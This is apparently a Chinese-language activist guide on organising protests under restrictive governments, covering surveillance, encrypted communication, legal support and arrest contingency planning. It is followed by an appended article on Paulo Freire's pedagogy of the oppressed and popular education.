换句话说，在被禁止的情况下要想集结到足够规模的抗议活动，您的议题就必须是足够多的大众面对的共同问题。组织者必须将此作为战略策划中的首要事项。

统治阶级比您更深刻地领会这点 —— 这就是为什么他们的叙事矩阵始终在努力将全民共同面对的灾难和威胁拆解为个体和小群体的“特例”，以此来打破你们的凝结。统治阶级不断创造着各种神话，他们将严重的系统性不平等扭曲为“你不够努力”，他们将侵犯人权的反加密审查制度扭曲为“你有所隐瞒是因为你做了见不得光的事”…… 这就是为什么我们必须强调，知识分子要像活动家那样去思考，打破奥弗顿之窗，让大众看到真正的灾难是所有人共同的灾难，无人可幸免。（在这里看到具体解释）

4、全息影像抗议和使用在线空间

「图」

如果您被禁止在特定地点进行抗议（比如广场、主要政府机构设施附近、大型展会门前等等），那么就可以考虑利用技术在这些地方进行抗议。

比如在西班牙，2014年通过了一项法律，禁止在政府大楼外进行抗议。作为回应，投影仪被用来发射建筑物外抗议者的全息影像。在韩国，当一些抗议行动被禁止时，国际特赦组织也采用了类似的策略。

这种策略可以向政府发出一个重要的信息，并引起人们对这种禁令的关注，有助于推动公众对政府的压力（见这里，第31页）。

同样，在全球限制公民空间的情况下，利用互联网的抗议也越来越多，根据网上自由度状况，可以成为表达对限制性政权异议的可行工具。

在这里看到更多相关内容：《在社交媒体上”抗议”有什么问题？》；《技术如何塑造21世纪的创造性抗议？》。

5、要求授权的抗议

「图」

许多国家的当权者都要求抗议者将拟议的抗议行动通知政府及其治安当局。包括并不限于中国。尽管联合国等国际机构提出了建议，但一些国家要么明确要求事先征求抗议活动的许可，要么将通知制度作为要求抗议活动获得当局许可的幌子。

被统治阶级许可的 “抗议” 根本不是抗议。

就国际法和标准而言，抗议者在行使包括抗议权在内的任何基本权利时，都不需要得到许可。

一般来说，国家需要建立适当的健康和安全以及交通程序，因此通知制度就借此共识为幌子，以令其自身看起来像是合理的，但毫无疑问，它必然会扼杀公民抗议和表达的权利（见这里，第49页）。

在通知制度被国家及其警察机构滥用的情况下，活动家可以采用一些策略来避免必须通知当局的抗议活动。

通知制度应该只促进公共集会，而不是阻碍它。

6、自发的抗议活动

「图」

如上，您需要知道，当局要求的通知程序往往不适用于自发的抗议活动，而自发的抗议活动在国际法中得到承认。

例如，在南非，*参加*没有通知当局的抗议活动并不构成犯罪，但不允许在没有通知当局的情况下*组织*这样的抗议活动，除非抗议活动是自发产生的。而 “什么是自发的抗议活动” 并没有完全的界定。这是一个经常被用来避免通知当局的辩护理由，但在抗议活动显然不是

自发的情况下不应使用（见这里）。在亚美尼亚，2018年天鹅绒革命的抗议者使用了这些策略 —— 他们计划在特定时间停车，制造大规模的交通拥堵，当被问及原因时，所有人都说他们的车坏了，开不动。

还是那句话：创造力是关键。法律系统和任何系统一样，都有漏洞，如果您能利用其漏洞，您就能反过来控制当权者，而不是被他们控制住。

7、非特定地点的抗议活动

「图」

在不举行正式的群众集会、游行或静坐的情况下，也可以进行破坏性反抗活动并表达异议。

个人进行的单一异议行为，如果累计起来足够破坏国家的运作，则不针对具体地点、也不需要事先通知或得到国家的许可。这是因为人们普遍认为，个人的行动并不构成抗议活动。

例如，在亚美尼亚，在一个特定的时间，所有的司机都被要求鸣笛，只要他们支持反对派。同样，不喜欢政府的人被呼吁在特定时间敲打锅碗瓢盆。这些单独的行为结合起来产生了巨大的噪音，这使得商业活动难以照常进行，并成功对政府施加了更大的压力。类似的策略，如个别工人的罢工，经常被劳工运动所采用。

请注意：这里说的个人的异议行动并不是说三三两两就足够了；必需有足够多的人在不同地点、以相同和相似的方式行动，由于行动是高度分散的，这可以打散镇压的火力。

在我们的 列表-5 “技巧、战术和原理” 板块看到更多相关战术的具体介绍。

8、警察的监视

「图」

国家经常对抗议者进行公开和秘密的监视。这有助于国家跟踪抗议者的行动，拦截他们的通信，并根据以这种方式获得的情报采取最高效的镇压行动，破坏抗议者的计划。

监视还使国家能够在抗议活动之外监视抗议活动的组织者和抗议活动的动向和行动，这将对抗议权和其他基本权利产生寒蝉效应。

所有这类统治阶级采用的镇压战术都会助长恐惧的环境，使人们不愿意参加抗议活动，并使组织大规模抗议活动所需的参与者难以有效沟通。

在下面看到具体介绍：

- 《警察/间谍如何定位抓捕抗议者：连锅端的标准操作模式》
- 《被抢走的手机成为警察镇压反对派的信息宝库》
- 《如果您的手机被盗或被警察抢走...》
- 《警察如何使用推文监视抗议运动：通过BLM（6）》
- 《警察如何利用抗议者的手机追踪每个人》
- 《警察渗透抗议运动简史》
- 《警察查手机的东西长什么样？—— 从技术角度看移动设备取证》
- 《警察用哪些监视方式瞄准抗议者？》

上面这句话很重要！「如果您被成功镇压，这说明您和您的组织有漏洞」。成功的监视就是精准镇压的必需条件。换句话说，如果您能堵住漏洞抵制住监视手段，您的反抗行动就成功了一大半。https://www.theroot.com/the-5-biggest-challenges-facing-blacklivesmatter-1790860771

9、安全通信

「图」

抗议者应确保在行动/运动中以及与组织网络成员彼此之间的通信是使用完全端对端加密的通信方法进行的。端对端加密是相比下最安全的在线私下通信方式。通过对对话两端的信息进行加密，端到端加密可以防止中间的任何人，包括窃听者，读取对话各方的私人通信。

请在这里查看具体介绍《泄漏文件显示间谍已经能绕过 Signal 的加密，那么端对端还有用吗？》。

比如在亚美尼亚的抗议活动中，通信只通过 Telegram 进行；在埃塞俄比亚、冈比亚和津巴布韦等国，通过虚拟专用网络（VPN）接入的 Signal 也被有效使用，包括必须考虑到在断网期间确保通信的持续。

很多人倾向于询问“我应该使用哪个软件”，或“哪个软件最安全”，其实这是错误的问题—— 您应该使用的是最适合您的具体行动计划和战略部署的软件工具，也就是说应该以您自己的具体威胁模型作为出发点来判断这件事。最恰当的才是最好的。也是为什么我们强调《整体安全》训练，而不是软件本身。

此外，在大规模行动发生时，断网是非常常见的镇压手段之一，行动者需要学习一些在断网后保持通信和行动力的技巧。（参见我们的《如何应对断网》系列）

关于行动者的数字安全性，是一整套知识和技巧，您可以在我们的 列表-5 “护盾” 中看到汇总的具体内容。

10、关于方法和政治的内部分歧

「图」

虽然不满情绪可能会使许多不同的人团结起来，但在为同一事业奋斗的运动内部也会发生冲突。成员们可能对应该使用的战术种类、使用暴力的合法性、运动的政治基础或运动选择的合作对象有强烈的感受。虽然公民社会总是以讨论和辩论为特征，但冲突和分裂是难以管理的，因为它们会分化和削弱运动，并可能对变革事业的倡导造成重大干扰。

毫无疑问，您应该尽可能最大范围地联盟力量，但不应该被意识形态和战术偏好所限制。如上所述，只要组织者能倡导最大范围的共同利益（共同的需求和共同面对的问题）、参与者拥有强大的共同战略，这就不是什么麻烦。您可以在去年希腊的反抗者的经验中看到这种巨大的成功 —— 对警察的憎恶、对警察暴力的愤怒，足以让那些平日坐在对面都无法确保不会拳脚交加的人们开始并肩作战。

这是一种组织智慧，即：除了战略原则问题，此外一切都不值得争论。

您不需要因为在社交媒体上那种激烈的纷争经验而对此抱有怀疑。社交媒体算法鼓励纠纷，这是一种操纵，以最大化流量经济，我们去年推荐的这本新书对此有详细解释；加之，社交媒体上的人们并没有共同战略，所有发言者都在试图让自己被听到，而非倾听他人。任何一个成功的社区/团队都不应该包含这类状况。

在背后说的一切话都是夸赞，有不同意见当面辩论，这就是基本道

德。除非触及原则性问题，否则尽可能不做评价，这是合作品格。如果有人不理解这点，那就教会TA。您不应该选择明知故犯的人做合作方。那样的人早晚毁掉您的计划。

11、和平时期的团结很重要

「图」

群众抗议活动通常由多个运动组成，它们为了共同的事业而联合起来。在抗议活动的高峰期，很难在这些运动之间建立基于信任的关系。相反，应该在紧张局势较低的和平时期建立关系。对于中国来说，就是现在。

例如，2011年智利的学生抗议活动在很大程度上是成功的，因为他们把来自不同大学的学生运动聚集在一起，而不考虑这些运动的政治派别。2015年和2016年的南非 #FeesMustFall 学生抗议活动也是如此。成功之所以可能，是因为在不太活跃的时候，学生运动在采矿危机期间提供人道主义援助和援助保洁工人时，各运动之间已经建立了充分的关系。在这些合作中建立的信任关系被带到了最终的学生抗议活动中。

12、冲突管理策略

「图」

在一个单一的运动中，有不同政治观点的人也应该有自己的空间。虽然重点往往放在群众行动上，但各运动依旧需要采用一些策略来确保其自身的可持续性。运动应该有长期的倡导战略和短期的行动战略。

在这个框架内，运动中的不同利益集团有可能为不同的目标而努力，并对不同的外部利益集团进行游说。

重要的是，运动领导者要强调所有这些策略的目的，以及它们可以共存的事实。这种冲突管理策略应该让每个人在运动中尽可能地扮演适合其政治派别或活动水平的角色。

13、核心最低标准

「图」

虽然有可能在一个运动中容纳具有冲突的政治价值观的参与者，但至

关重要的是，一个运动要建立一套跨越政治观点的核心最低标准，并且所有成员都要遵守。

这种标准的一个例子比如，成员将不诉诸暴力。请注意，在这种情况下，必须正确定义什么是暴力，明确它是否包括有争议的方面，如破坏财产或回应警察的暴力。如果成员未能达到最低标准，应实施纪律处分程序。这可以免于渗透者的栽赃手段（这非常常见）。同时要管理好公关管理，以确保公众继续支持，如果可能的话，也是运动战略的一部分。这对正式的公民社会运动或既定的抗议运动最有效。

14、没有经验的抗议者

「图」

许多抗议运动，特别是那些代表青年或学生事业的运动，是由以前从未参加过抗议活动的人组成的。为确保参与者的安全和抗议活动的有效性，对这种缺乏经验的情况进行规划非常重要。

经验本身可能会很好，但并不是重要条件，不是准入门槛。包括文化水平、阶级、年龄等等，全部都不是准入门槛。您可以看到印度的成功案例，参与者大多是没受过教育的农民，边缘社区成员，但他们依旧取得了成功。这需要组织者和团队负责人加入关注，如何更好地帮助缺乏经验的参与者。

15、教育和培训

「图」

必须举行群众会议，讨论抗议活动所涉及的程序，并分发“了解你的权利”信息和其他此类有用信息。抗议组织者应确保每个人都知道抗议游行的路线，有哪些安全措施，以及在警察采取暴力行动或部署镇压武器时如何应对。

您可以在我们的《示威参与者指南》系列教程中看到详细介绍，它可以作为您的组织教程；以及在《直接行动分步指南》中看到比较全套的部署技巧。

这种情况是非常常见的。比如在智利，由于许多抗议者是第一次参加学生抗议活动的大规模行动，领导人印制了解释程序和安全协议的教育材料，并召开会议讨论这些细节。在南非，民间社会组织为抗议者设立了一条由律师担任工作人员的热线，称为 Right2Protest 项目。

在巴西，民间社会组织经常在午餐时间举办研讨会，讨论如何参加抗议行动并保护自己免受低致命性武器的伤害，包括适当的服装和撤离策略等等。这些知识您可以在《示威参与者指南》中找到。

16、后勤和安全人员

「图」

重要的是，要有专门指定的工作人员，能够进行急救，标出抗议游行的路线，并在必要时为抗议者提供保护。在这里看到介绍《警用武器常见伤害及基本处理方法：示威参与者指南（6）》。

工作人员可以由具有相关专业知识的成员、志愿者或雇用的专业人员组成，如果运动有这方面的资源的话。在2011年的学生抗议活动中，智利学生会花钱雇人履行这些职责。

这样的工作人员可以使环境更加安全，减少了没有经验的抗议者经历“抗议恐慌”的可能性。人群中的恐慌可能是危险的，因为它经常导致踩踏事件或警察的加倍暴力反应。在巴西，已经建立了监测和记录抗议活动并提供急救的辅助性社会运动，以支持主要的抗议运动。

17、社会不平等和以弱势群体为目标

「图」

困扰整个社会的不平等现象也存在于抗议运动自身中。这意味着弱势或被边缘化的人作为运动的成员，在试图传达运动信息时，通常会面临斗争。同样的，运动可能有性别方面的问题，需要特别注意。例如，女性往往是其他抗议者或警察的性攻击目标（见这里，第99页）。

此外，正如智利的情况一样，代表原住民利益的运动比由城市学生等享有某些特权的群体组成的运动拥有更少的社会和政治资本。 同样，对于那些代表历史上处于不利地位的人或事业的群体或运动，警察的反应往往更加压制。

18、不断熟悉与您合作的人员结构

「图」

对各运动来说都是如此，不断评估您的团队成员结构是很重要的。这

种评估应该伴随着对不同群体所面临的社会斗争的批判性反思，并有意识地努力避免运动中的排斥行为和态度的延续。这可以通过确保成员接受敏感性和隐性偏见的培训，以及有适当的报告机制，让成员报告虐待或歧视的情况来实现。

报告机制很重要，适当就更重要了。背后打小报告的现象需要警惕，有可能需要怀疑为挑拨。挑拨是渗透者最常做的事。遇到这种情况您应该首先调查被打小报告的事件是否属实，是否有您尚未了解的其他背景信息，接下来再判断应该如何处理问题。

在这看到更多解释《「合气道」作为战术智慧》。

19、协作

「图」

您的战略必须确保能支持那些特别脆弱的成员、和/或代表脆弱群体的利益。然而，至关重要的是，要通过合作来实现这一点。

这涉及到与被排斥的群体接触，以确定他们的需求和他们所寻求的援助或伙伴关系。帮助其他运动及其成员的决定应建立在相互尊重的基础上，而不能根据特权群体对那些经历不平等的人的需求的先入为主的看法来作出决定。

20、警察的暴行

「图」

统治阶级不会也很难首先动用军队镇压，于是抗议运动最先面对的基本上都是警察的火力。这就是为什么我们在《示威参与者指南》系列中首先介绍了很多警用武器的防卫方法。

大多数抗议活动的参与者都深受警察暴行的威胁。全世界的警察都很流氓，他们经常不会尊重参与抗议活动的人的基本权利和人格。警察对抗议活动的暴力反应导致抗议者受伤，并且在抗议者采取行动保护自己时，往往会引发暴力升级（见这里，第54页）。

这就是为什么说非暴力战术可以是一种技巧，也是一种更为有效的动员策略。比如见这里的案例《让你的对手陷入愚蠢滑稽：充气”武力”和反叛小丑军》。

但依旧要根据您的具体战略目标选择最恰当的战术。https://www.amnesty.org/en/latest/news/2019/06/hong-kong-police-violence

我们多次强调过拆解权力支柱的重要性。警察的团结和战斗力是靠工资维护的，当他们意识到为他们发放工资的系统已经不行了的时候，他们的凝聚力就会被击破。行动者需要去创造这样的机会、抓住这样的机会，就如最近在哈萨克斯坦的行动者所做的那样。

在亚美尼亚，2018 年的抗议者向警察赠送糖果和鲜花，并试图与他们攀谈。因此在天鹅绒革命期间，仅发生了一次警察暴行，受到各方的强烈谴责。当警察同情一个原因并受到抗议者的善待时，他们就不太可能做出暴力反应。但防御依旧是重要的，您应该努力做到减小危险发现的可能性，但同时让自己能抵御可能的危险。

21、人肉盾牌

「图」

根据不同的情况，警察也许不太可能对知名人士使用暴力，因为他们担心会遭到报复。例如，记者、名人和高级官员，可能会因为他们拥有的影响力而被谨慎对待。抗议者应尝试与这些人建立良好关系，以便他们可以协助防止暴行和逮捕。

例如，在美国的立岩地区抗议活动中，退伍军人充当了人肉盾牌，以防止对抗议者的暴力行为（见这里，第10页）。同样，在许多南非的大学，白人学生由于比黑人学生更不可能成为警察的暴力目标，在2015年开普敦大学的学生抗议活动中，他们组成了人盾，以防止黑人学生被捕（见这里）。

22、记录警察和收集证据

「图」

为了减少警察的滥用武力和暴行，并在警察犯罪的情况下为可能的起诉收集证据，抗议者团队应该考虑派专门的成员记录抗议活动和抗议期间的任何警务行动。

公民记录警察行为的权利在国际法和标准中根深蒂固，包括“回录权”，即 抗议者记录正在记录抗议者的警察的权力。除了照片和视频证据外，抗议者也应记录和收集任何其他证据，包括武器和弹药，这

可能有助于起诉警察的不当行为。例如，催泪弹有多种识别标记，应予以记录。（在这里看到两个调查演示：《如何调查武器和军事暴行：思考方式（6）》、《针对催泪瓦斯袭击抗议者及其他侵犯人权行为的调查框架：给公民调查人员的思考方式（2）》）

在2014年巴林的抗议活动中，据称南非一家武器制造商生产的催泪弹因其标记而被发现。这源于早些时候开展的名为“停止运输武器”的倡导活动，该活动旨在禁止向巴林出口催泪瓦斯榴弹。对武器出口的审查是解决社会弊端的行动的一个例子，它可能导致对不同目标的不同形式的倡导和抗议。

收集证据并不是容易的，尤其是，您必须考虑到，统治阶级会竭尽全力阻止您收集他们的行为证据，同时，如果您想要您收集的证据在法庭上生效，就需要按照法庭标准保存数据细节。

我们曾经介绍过一套关于如何拍摄记录警察行为的指导教程，包括公民记录者如何保护自己和保护证据的技巧。在下面回顾：

- 《公民取证技巧：如何留住真相？》
- 《如何安全地留住证据：给真相的记录者一些技术技巧建议》
- 《当你手握真相：最基本的防护知识》
- 《如何更安全地拍摄警察行为》
- 《警察如何阻止公民对执法暴力行为取证》

23、避免“抗议疲劳”

「图」

在警察暴行盛行或抗议运动不得不持久战的情况下，抗议疲劳——即 抗议活动的领导者不再有精力或精神或体力进一步升级行动的现象—— 往往会削弱运动。运动成员应意识到与抗议疲劳有关的困难，并确保有适当的机制，如社会心理支持，并在抗议活动后进行汇报，特别是在发生暴力的情况下。

这在《直接行动分步指南》中有介绍。您也可以在这里看到一些相关经验《空窗期令人困惑，但有效利用空窗是行动智慧的一部分：行动主义（14）》。

24、对抗反动

「图」

有时，抗议运动的形成是为了对抗反抗议运动的行动。当运动所涉及的问题与价值或道德问题有关，而不是服务提供或政府失败的问题时，这是最常见的。例如，在2019年针对阿拉巴马州新的反堕胎立法的抗议活动中，有支持堕胎和反对堕胎的抗议运动同时发生（见这里）。抗议运动和反抗议运动经常相互冲突，并引发暴力，统治阶级也很可能组建自己的反抗议行动，用群众维稳群众（见这里），行动者应该注意这种手段。

25、战略伙伴关系

「图」

有时，可以找出两个运动之间冲突的基础问题，并与其他组织建立伙伴关系，使天平倾向于您的运动。

例如，亚美尼亚政府希望通过一项法案，将家庭暴力定为犯罪，并保护家庭暴力幸存者，但面临着传统主义者的抗议，他们认为该法案会破坏家庭价值观。支持该法案的运动与儿童权利组织建立了战略伙伴关系，并依靠大多数人对保护儿童的需求的高度重视来反驳反对该法案的论点。结果，该法案成功获得通过。

26、对媒体的使用

「图」

重要的是，要*战略性地利用*主流媒体和社交媒体来抵御反抗议和反言论。

我们多次介绍过，行动者不可依赖主流媒体，而是要利用他们的影响力，帮助您及时地放大*正确的*信息；并尽可能减少错误的信息传播。在下面看到一些技巧和原理：

- 《和媒体说话时如何避免陷阱：示威参与者指南（13）》
- 《在抗议活动中，媒体作为叙事矩阵的操纵者》
- 《媒体操控：战略性欺骗的重头戏》

有关抗议活动的信息应在社交媒体上传播，以帮助招募抗议者并说服公众了解特定的反抗事业。应要求主流媒体对抗议活动进行现场直播，而不是在播出前对内容进行录制和编辑，因为这可以让公众了解所有相关运动的真实性质。

反抗者组织应尽可能在电视或广播中播出公开辩论，并要求双方以批判性的方式进行交流，这往往可以提供一种有效的方式来说明可能成为反·反抗运动特征的逻辑漏洞或偏执。

27、培训和Plan B

「图」

此外，如前所述，您的队友中肯定存在没有行动经验的成员，您需要组织一些培训，更详细地讲解经验教训和行动策划。对于有经验的行动者来说也一样，培训能够帮助您增强活力并带来灵感。在这里看到更多解释《反抗运动如何通过培训来增强力量：行动主义（6）》。

特别是在封闭公民空间的社会条件下，逮捕抗议者和抗议领导人是一个重大挑战，即使没有犯下刑事罪行，也经常被警察机构用作一种战术以瓦解反抗组织。我们在去年底的年终礼中详细谈论了这件事；包括如何对抗警察将被捕者转变为线人以瓦解反抗组织的企图。

您也可以在这里看到更多活动家可以利用的策略《充分利用大规模逮捕，以及被捕后怎么办：示威参与者指南（7）》；以及一个实例《以聪明的方式被捕：投标人和盟友的光谱》。

逮捕民间社会组织的成员损害了其他成员和运动本身的士气，并有助于创造一种恐惧和恐吓的文化。通常情况下，逮捕阻碍了运动的运作，迫使活动家把注意力放在释放队友上，而不是放在组织成立的目的上。这是非常糟糕的。

于是您的行动组织需要合理的角色分工，并准备好合理的Plan B，即替换角色；尤其是关键岗位的成员一旦被捕，相关工作应该及时补充人手。并且有专门负责法律问题的队友，以避免当局的逮捕行动干扰您的运动本身。

在这里看到角色分配概述《直接行动分步指南》。

28、内部压力和紧急联络措施

「图」

一个有效的策略是与当地公共利益和人权律师合作。人权律师将了解保释申请和针对定罪的上诉的技术问题。一些国家的人权律师可以免费代理被捕的抗议者的案件。希望您可以在您的本土找到这样的合

作。尤其是行动组织，您应该致力于在“日常”培养与这些强有力的合作方之间的关系。

在南非，法律资源中心（一家公益律师事务所）在2015年和2016年的抵制高额学费的抗议活动中协助被捕的学生，免费代理被捕学生的案件。此外，一组南非民间社会组织也建立了一个 WhatsApp 群组，沟通和分享有关队友被逮捕的信息，以指示律师提供协助。这些形式都是最基本的。法律团队也会经常将有需要的人介绍给其他相关组织，如果他们无法提供帮助的话。抗议领导人应准备并分发“胸卡”——信用卡大小的材料，方便携带，详细说明在被捕的情况下应该求助于哪些律师的联系信息。

或者，更简单的，我们会建议您用不容易褪色的记号笔把联系方式写在身上隐蔽处。

29、外部压力

「图」

许多国家的反抗者对内部压力的关注远高于对与其他国家的外部关系的关注。内外压力同样重要。活动家可以与外国外交使团和国际机构（如联合国）联系，呼吁他们向国家政权施加压力，停止非法逮捕抗议者的行为。

在阿塞拜疆，民间社会组织的成员已经意识到，国家对外界的谴责是有反应的。因此，各运动的成员前往其他国家建立国际和区域关系，目的是鼓励国际压力，迫使当权者释放囚犯和停止非法逮捕。

并不是说这一定能管用。有些国家和有些行动，如最近的哈萨克斯坦，革命者为生活成本而起义，其目标撼动了全球新自由主义资本主义的稳固，因而外部支援将非常难以期待。这种时候就需要跨国的反抗联盟。尤其是当联盟中不同国家的反抗者在各自本土接连发起具有同样或近似战略目标的行动时，它可以是很有效的。

这是要在“平时”积累的工作。没有任何一种关系可以在突发事件发生时迅速建立。在这里看到如何做这件事《建立国际团结：全球斗争中的人际关系》。如果您在设想相关关系的建立，可以参考比如这里《抵抗中国的资本主义：国际联盟的理由》。

30、培训

「图」

对成员进行教育是非常重要的，让队友了解自己在被捕时的权利和应得的利益。运动组织应该为成员准备指导手册，详细说明可能的逮捕方式，被捕者应该向谁求助—— 包括提供紧急联系卡，提供可靠的律师的详细联系方式—— 以及告知大家在被拘留的时间和地点方面的权利。

这份文件应该便于查阅和携带，以便成员可以随时携带。在智利，在2011年的学生抗议活动中，组织者就编制了这些指导手册，并在抗议活动前进行了培训，以确保每个人都了解自己在被捕时的权利。此外，运动可以依靠应用程序或者蓝牙信标，在抗议者被拘留在未知地点时，协助定位抗议者。

当局抓捕的危险性并不限于被捕者。由于所有警察都倾向于采取威胁利诱将被捕者转变为线人，以便连锅端整个反抗组织，于是反抗组织应该尽快为被捕者提供支援，以缩短被捕者孤立无援的困境状态，这种状态下的人很容易屈服于警察的压力。

我们在去年底的年终礼详细讲述了如何避免这种状况，您可以在这里回顾。

31、行动领导者应急计划

「图」

抗议运动很可能因其领导者被捕而受到严重削弱。这既是因为提出战略见解的人不再存在，也是因为，各运动都会将其有限的资源用于确保被捕成员的释放。注意力被分散了。

例如，在阿塞拜疆，一个运动有五名领导者被捕，从而失去了作为抗议运动的声誉，因为它花了数年时间用所有的精力来确保其领导者的释放。这就是为什么警察致力于首先抓捕一场行动的组织者。

重要的是，各运动都应该有组织性的应急计划。这些计划应包括确保释放领导者的应对措施，但也应详细说明在领导者被捕的情况下不影响继续推进运动所采取的行动。

好啦，就是这样。这里列出的是基本注意事项，您应该根据对自己本地的状况的了解和分析，增加其他具体的策略和措施。〇

—— 未完待续 ——

原文

（2）被压迫者的教育学，和”高级传单” - iyouport

免费书和纪录片行动技巧、战术和原理

（2020年11月27日存档）这是一本书的推荐，由于它比较重要，于是我们需要把它单独拿出来作为一篇文章，而不是塞入书籍汇总

> “教育要么作为一种工具，用来促进年轻一代 *融入*
> 现行制度的逻辑并使其顺从现行制度，要么，

这本书在这里下载：https://www.patreon.com/posts/44337451

激进主义教育家保罗·弗莱雷（Paulo Freire）最早概述了他在被《压迫者教育学》中的教育理论（1968年）。

Paulo Freire 毕生都在与革命组织者和教育家合作，他们创造了一种解放教育的方法，并创造了一种理解压迫性制度的视角，以便改变这些制度。

他坚持认为真正的知识和专长已经存在于每个人的头脑里，从而颠覆了所谓主流的教育学思考方式。人们不需要信息的“囤积式教育”（**Freire** 称之为“银行式教育”），也不需要动员和宣传来说服人们解决自己的问题。

他指出，改变世界所需要的是对话、批判性的质疑、对人类的爱和实践—— 批判性思考和行动的结合。

这两种教育方法之间的主要区别是：

囤积式教育：以教育作为统治的实践 ——

- 这种教育的目标是使人们适应他们所遭受的压迫性条件；
- 让人们接受这种压迫性条件；
- 老师试图控制学生的思维和行为，学生被视为被动的对象；

- 这种教育假设人们只是在世界上存在，而不与世界或彼此相连；
- 将学生从他们的社会背景中删除；教导学生们相信现实是不可变的；
- 将被压迫者视为健康社会的边缘人群，“需要融入社会”，而不是改变社会；
- 教师身上混合了知识与人格的权威，其所处的地位是与学生的自由相对立的；
- 这种教育的总体目标是巩固和维系这个压迫性制度的基础。

提问式教育：作为自由实践的教育 ——

- 目标是转变结构性的压迫（其原理参见 行动技巧《让隐形可见》）；
- 教育家和受教育者互相教授、互相学习（ Freire 所说的的 “学生” 一词，旨在传达一种公平和互惠的关系）；
- 假设世界是一个不断发展的历史过程；一切与每个人都是相互关联的；
- 从受教育者的历史、现在和尚未被书写的未来开始；
- 寻求改变社会，使被压迫者和其压迫者重新人性化；
- 为革命过程奠定基础。

对话和参与式行动研究是深受 Freire 影响的两种实践，目前在大众教育、批判性教育学、被压迫者剧场和生态教学法等领域都很常见。

Freire 解释说，大多数人认为的对话实际上只是辩论，是一种零和游戏，在这种游戏中，人们争先恐后地想办法把自己的意思灌输给对方，或代表他人为世界下定义，这本身就是一种目的。相反，如果能在对话中双方通过探索各自的生活经验，找出共同的模式并采取行动，共同为所有人的世界下定义，岂不是更好。

同时，参与式行动研究是一个由社区主导的过程，在这个过程中，人们通过从同伴那里收集数据，分析数据，然后采取知情行动，来确定解决问题的办法。这是一种社区组织的模式，它可以培养那些在第一线的反抗者的能力和专业知识。

遗憾的是，今天的许多进步运动仍然陷于 “囤积式” 的教育方式，把公众看作是灌输信息的被动接受者。

上图中的书在这里下载：https://www.patreon.com/posts/fan-kang-yi-wu-38192694

在 Freire 的提问式教育中，教师不再只是那个教导的人。在其与学生对话的过程中，教师本身也受到了教导；学生在接受教师教导的过程中，学生本身也在教导教师。

教育活动成为教师与学生必须承担的责任。没有人可以完全去教另一个人，也没有人是可以完全自我教育的。人们之间彼此教导。

最著名的应用：Freire 的著作被许多革命运动所采用，如几内亚比绍的著名反殖民运动领导人 Amílcar Cabral、巴西的无地工人运动、墨西哥的萨帕塔运动，以及大众扫盲运动和世界社会论坛。Freire 还激励了美国的 “批判性教学” 运动。

【注：世界社会论坛 (World Social Forum) 又称社会运动论坛世界峰会，每年聚会一次。成员们利用此聚会来联合世界各地的活动家、分享与讨论组织战略及互相交换关于世界与自身议题的运动资讯。】

误用：一些教育工作者认为 “大众教育” 一词仅仅意味着将复杂的信息简单化或口号化，这种错误的做法正是植根于 “被压迫者教育学” 所反对的理念：教育工作者是专家，而学生是空洞的和被动地等待灌输知识的容器。

【注】 大众教育是一个建立在阶级、政治斗争和社会变革观念基础上的概念。该术语是西班牙语流行的 “教育” 或葡萄牙语流行的 “教育” 的翻译，而不是描述英语中的用法，此处 “流行” 的意思是 “人民”。更具体地说，“大众” 是指 “大众阶层”，包括农民、失业者、工人阶级有时还包括中下阶层。

下面介绍一个案例，来自JASS（justassociates）的应用。JASS是一个由31个国家的活动家、普及教育者和学者组成的全球女性领导的人权网络，为了努力确保女性领导人在处理这个时代一些最关键的人权问题时更有信心、更有组织、更有力量、和更安全。

他们招募来自各行各业的活动家领袖，并促进他们具备组织和建立联盟所需的信心、信息、技能和战略，以解决争取正义和反歧视问题。

通过培训、反思和学习过程来实现这一目标 —— 使用和调整JASS的各种课程、政治工具和概念，并应用上述大众教育方法。

赋予活动家领袖权力和培养活动家领导能力的过程被嵌入到运动建设中，并与规划和行动直接相关。请注意，这些进程都是持续多年的，而不是单一的活动或一次性的讲习班。

📌 定期的面对面讲习以及定期的在线交流和指导有多个目标：

- 深化和更新对背景、紧急问题和权力的分析；
- 促进辩论和信息共享；
- 制定共同的议程，使活动家们能够制定有效的战略；
- 在不同年龄、阶级、种族、国籍和部门之间建立各种组织，在激进主义者之间建立关系；
- 创造安全的空间以应对艰难的生活、避免倦怠，并建立互信。

这些内容都非常重要。

有时，讲习是关于基本的社区组织、教育和宣传方法；其他时候，可以提供政治或人权教育，或侧重于有效的运动领导和运动战略。

鉴于活动家的背景和身份的多样性，在人们努力解决冲突和寻找共同点的过程中，总是会出现权力和特权的问题。为了重新激发活动家的活力，扩大他们的创造力，聚会往往包括艺术表达和自我疗愈的过程。如何沟通、如何使用信息、以及现代通信技术及社会媒体的使用方法，也是运动建设者技能的一个重要组成部分。

“大众教育“来自拉丁美洲，其中“大众”的意思是“属于、为了和由人民”。这是一种学习方法，在这种方法中，人们通过批判性地审视自己的生活和环境、以及对自己最重要的问题，相互教导和学习。

- 不要错过为什么正在进行的系列“整体安全”，该系列所强调的就是一种类似大众教育的模式

通过质疑这些问题的结构性和意识形态原因，学习过程提高了人们的认识，有助于增强人们的能力，并为他们的组织和联合行动确定一个共同的议程。

由于巴西学者和活动家 Paulo Freire 开创性的政治工作，大众教育在农民的土地斗争中形成，影响了拉丁美洲反独裁的革命运动，并在美国和世界各地滋养了几十年的基层正义斗争。

最初的方法将阶级确定为造成社会等级的主要力量，而1970年代以来的女权主义者和种族正义活动家则将性别、种族、和形成不平等的其他方面纳入其中。

其战略是将个人和集体赋权结合起来，旨在解决问题，同时建立更有活力的运动，以产生更大的影响和社会变革。

> 大众教育是一种教育方法，它以集体性的和批判性的方式审查日常经验，并提高组织和运动的建设意识，

JASS政治主持人在每个地区都采用相同的核心原则：

- 建立信任与团结的安全空间 —— 这也是我们在“整体安全”系列中强调的内容之一；
- 从反抗者日常生活的具体经验入手 —— 人们感触最深刻的东西，将最容易产生共鸣；
- 使用故事、艺术、戏剧、和其他方式来产生开放性问题，以促进批判性和创造性思维，并加深对权力的理解 —— 还记得我们的“中国恐怖故事”系列吗？它就是这个作用；
- 通过与具体问题和实际解决方案相关的工作，边做边学，用实践来促进学习；
- 将反思、对话和行动作为学习的主要方式 —— 这很重要；
- 承认并解决多样性、权力动态和冲突问题 —— 而不是忽视和逃避；
- 认识到需要挑战假设并探索替代方案；
- 分享新的信息和术语，使参与者能够准确定义自己正在经历的事，并了解本土的和个人背后的全球力量 —— （《全球政权如何利用技术和贫困奴役人民？暴政背后的黑手》）
- 挖掘活动家的希望、灵感和成就感 —— 反抗从来不是枯燥疲惫的；
- 提供时间进行自我疗愈和自我更新。

